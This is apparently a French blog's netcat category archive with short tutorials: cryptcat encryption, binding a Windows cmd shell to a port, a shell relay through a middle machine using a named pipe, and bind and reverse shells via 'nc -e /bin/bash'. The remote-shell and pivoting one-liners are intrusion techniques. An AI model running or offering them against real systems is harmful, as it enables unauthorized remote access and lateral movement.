Archives de catégorie : Netcat

Netcat – Cryptcat pour chiffrer vos échanges

Hello ! Un article dans la suite des articles dédiés à Netcat. En effet, netcat est bien mais il ne permet pas d’échanger des données de manière « sûr ». En cas de sniffage réseau, vos données sont en claires et peuvent être lues par une personnes malveillantes. Rappelons que Netcat n’est pas le meilleur moyen pour échanger entre 2 machines, il vaut mieux privilégier ssh.

Mais il est possible de crypter les échnages entre 2 netcat via Cryptcat. Cet utilitaire va vous permettre d’échanger des flux chiffrés avec un mot de passe.

Comment faire ?

Voici les éléments à retenir :

# Sans encryption
sudo tcpdump -A -i any -n host 172.17.0.2 and port 8080

nc -l -p 8080

nc 172.17.0.2 8080


# avec encryption
apt-get install cryptcat

cryptcat -k password -l -p 8080

cryptcat -k password 172.17.0.2 8080

 

Netcat – accéder à un CMD Windows sur son linux

C’est encore la magie de netcat. Aujourd’hui, je vous propose de découvrir comment connecter son linux à un windows.

Pour passer des commandes sous windows on utilise le terminale CMD et linux ne peut pas de base se connecter à windows et interagir avec. Il existe une solution néanmoins en tordant un peu les choses.

Première chose à faire installer netcat sur le windows et mettre en écoute le netcat avec une commande CMD (option -a) :

# sur le windows install de netcat
# https://joncraton.org/files/nc111nt.zip
# dézippe C:\Programm files...
# lancement de cmd
# on se rend dans le répertoire
# ipconfig : liste ip

nc -l -p 9999 -e cmd

Dans notre exemple notre netcat écoute sur le port 9999.

Puis sur notre linux, il ne nous reste plus qu’à nous connecter dessus.

# sur le linux

nc 192.168.99.100 9999

Le tour est joué, il ne reste plus qu’à passer des commandes windows comme ipconfig.

Netcat – mise en place d’un relai shell

Une fois de plus netcat va nous montrer toute sa simplicité. Aujourd’hui, je vous propose de découvrir comment créer une machine relai entre deux machines.

machine 1 > machine 2 > machine 3

Ainsi, on va utiliser 3 machines dont une servira d’intermédiaire entre les 2 autres. L’objectif étant de passer des commandes des commandes shell à partir de la machine sur la machine 3 en passant par la 2.

La démo en vidéo

Les commandes sont les suivantes :

exemple : 172.17.0.1 > 172.17.0.2 > 172.17.0.3

# sur la cible 172.17.0.3
nc -l -p 9999 -e /bin/bash

# sur le relay 172.17.0.2
mknod backpipe p
nc -l -p 7777 0<backpipe | nc 172.17.0.3 9999 1>backpipe

# sur la source 172.17.0.1
nc 172.17.0.2 7777

Netcat – lancer un shell distant

Nouvel article sur le couteau suisse méconnu netcat avec pour objectif de découvrir comment se connecter à un shell distant sur un autre serveur. Ce n’est pas la meilleure solution et la plus sécurisée car il faut en priorité utiliser SSH mais pour le fun et un besoin ponctuel cela peut s’avérer utile.

Comment faire ?

1ère option : l’écoute avec bash

Sur la machine distante on lance un netcat en écoute -l avec -e la commande bash :

nc -l -p 9999 -e /bin/bash

Pour se connecter dessus il suffit de se connecter à l’ip/port de la machine en netcat :

nc 172.17.0.2 9999

2ème option : lancement de la commande à la connexion

#source  172.17.0.1
nc -l -p 6666

#cible 172.17.0.2
nc 172.17.0.1 6666 -e '/bin/bash'